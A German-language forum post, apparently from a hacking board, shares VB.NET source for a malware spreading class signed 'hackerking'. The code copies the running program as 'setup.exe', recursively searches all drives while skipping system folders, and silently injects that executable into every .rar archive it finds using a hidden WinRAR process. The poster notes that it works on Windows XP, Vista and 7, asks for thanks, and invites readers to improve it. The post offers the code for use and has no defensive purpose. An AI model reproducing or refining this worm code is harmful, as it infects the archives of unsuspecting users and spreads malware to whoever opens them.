[hide]
Code:
'by hackerking
Public Class Archive
Shared RarPath As String = "rar.exe"
Public Shared Sub Spread()
If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRar\Rar.exe") Then
RarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRar\Rar.exe"
If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
File.Copy(RarPath, Application.StartupPath & "\rar.exe")
RarPath = Application.StartupPath & "\rar.exe"
ElseIf File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe") Then
RarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe"
If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
File.Copy(RarPath, Application.StartupPath & "\rar.exe")
RarPath = Application.StartupPath & "\rar.exe"
Else
Exit Sub
End If
If File.Exists(Application.StartupPath & "\setup.exe") Then Kill(Application.StartupPath & "\setup.exe")
File.Copy(Application.ExecutablePath, Application.StartupPath & "\setup.exe")
Dim Drives() As String = Environment.GetLogicalDrives
For Each sDrive As String In Drives
SearchForArchive(sDrive)
Next
End Sub
Private Shared Sub SearchForArchive(ByVal sPath As String)
Try
If sPath = Directory.GetDirectoryRoot(sPath) & "archive_db" Or sPath = Directory.GetDirectoryRoot(sPath) & "Intel" Or sPath = Directory.GetDirectoryRoot(sPath) & _
"NVIDIA" Or sPath = Directory.GetDirectoryRoot(sPath) & "PerfLogs" Or sPath = Directory.GetDirectoryRoot(sPath) _
& "Windows" Or sPath = Directory.GetDirectoryRoot(sPath) & "Windows.old" Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) _
Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.Programs) Or sPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) _
Or sPath = Directory.GetDirectoryRoot(sPath) & "$Recycle.Bin" Or sPath = Directory.GetDirectoryRoot(sPath) & "Boot" Or sPath = Directory.GetDirectoryRoot(sPath) _
& "Config.Msi" Or sPath = Directory.GetDirectoryRoot(sPath) & "System Volume Information" Or sPath = Directory.GetDirectoryRoot(sPath) & "Program Files" Or _
sPath = Directory.GetDirectoryRoot(sPath) & "Program Files (x86)" Then
Exit Sub
End If
Dim Files As String() = Directory.GetFiles(sPath)
For Each File As String In Files
Try
If Path.GetExtension(File) = ".rar" Then
InjectArchive(File)
End If
Catch
End Try
Next
Dim SubDirs As String() = Directory.GetDirectories(sPath)
For Each SubDir As String In SubDirs
SearchForArchive(SubDir)
Next
Catch
End Try
End Sub
Private Shared Sub InjectArchive(ByVal sArchive As String)
Try
Dim psi As New ProcessStartInfo With {.Arguments = " a " & sArchive & " setup.exe", .FileName = RarPath}
With psi
.CreateNoWindow = True
.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(psi)
psi = Nothing
End With
Catch
End Try
End Sub
End Class
[/hide]
ein thx tut nicht weh ![Wink](images/smilies/wink.png)
ps:
die klasse funktioniert unter xp/vista/7
aber nicht mit zip datein
ps2:
ordentlich nää ![Biggrin](images/smilies/biggrin.png)
edit//
gibt ein paar kleinigkeiten die verbessert werden könnten. (using, with etc.)
aber dass könnt ihr ja selber machen